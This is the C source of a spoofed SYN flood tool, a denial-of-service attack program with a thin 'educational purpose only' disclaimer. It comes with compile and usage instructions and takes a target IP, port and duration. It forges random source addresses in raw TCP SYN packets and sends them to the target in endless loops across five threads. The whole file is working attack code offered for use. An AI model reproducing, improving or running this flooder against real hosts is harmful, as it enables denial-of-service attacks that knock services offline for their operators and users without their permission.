SYN

/*
    Spoofed SYN by eKKiM
    Educational purpose only please.
    Compile with
    gcc syn.c -pthread
    --Note by MFJC--
    Compile:
        apt-get update
        apt-get install gcc
        gcc ssyn.c -pthread -o ssyn
    Usage: ./ssyn ip port time
*/
#include <stdio.h>
#include <stdlib.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <pthread.h>
#include <errno.h>

#define THREADS 5


typedef struct pthread_param
{
    int argc;
    char **argv;
};

typedef struct pseudo_header
{
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
    struct tcphdr tcp;
};

/* Thanks for unknown author, this saves me some time */
unsigned short csum(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;

    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }

    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;

    return(answer);
}

int attack(int argc, char *argv[])
{
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    char packet[4096];
    struct iphdr *iph = (struct iphdr *) packet;
    struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;
    char ip[16];

    sin.sin_family = AF_INET;
    sin.sin_port = htons(atoi(argv[2]));
    sin.sin_addr.s_addr = inet_addr (argv[1]);

    sprintf(ip, "%d.%d.%d.%d\n", rand() % 223, rand() % 255, rand() % 255, rand() % 255);

    memset (packet, 0, 4096);

    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = htonl (54321);
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0;
    iph->saddr = inet_addr(ip);
    iph->daddr = sin.sin_addr.s_addr;

    iph->check = csum ((unsigned short *) packet, iph->tot_len >> 1);

    tcph->source = htons (1234);
    tcph->dest = htons (80);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5;
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = htons (5840);
    tcph->check = 0;/* We fill this in later */
    tcph->urg_ptr = 0;

    psh.source_address = inet_addr(ip);
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);

    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

    //IP_HDRINCL needed for own headers
    int one = 1;
    const int *val = &one;
    int sockop = setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one));
    if (sockop < 0)
    {
        perror ("[x] Error msg: ");
        printf ("[x] Cannot set socket options: %i (are we r00t?)\n", errno);
        // exit(-1);
    }

    if (sendto (s, packet, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
        printf ("[x] Error sending packet\n");

    close(s);
    return 0;
}

void *thread_attack(void *thread_params)
{
    struct pthread_param *params = thread_params;

    while (1)
        attack(params->argc, params->argv);
}

int main (int argc, char *argv[])
{
    int i;
    printf("Spoofed SYN Attack\n");

    srand(time(0));

    if (argc != 4)
    {
        printf("Usage: %s <destip> <destport> <time in seconds>\n", argv[0]);
        return -1;
    }

    pthread_t ssyn_attack[THREADS];

    struct pthread_param params;
    params.argc = argc;
    params.argv = argv;

    for (i = 0; i < THREADS; i++)
        pthread_create( &ssyn_attack[i], NULL, thread_attack, (void*) &params);


    printf("[*] Attacking..\n");
    sleep(atoi(argv[3]));

    return 0;

}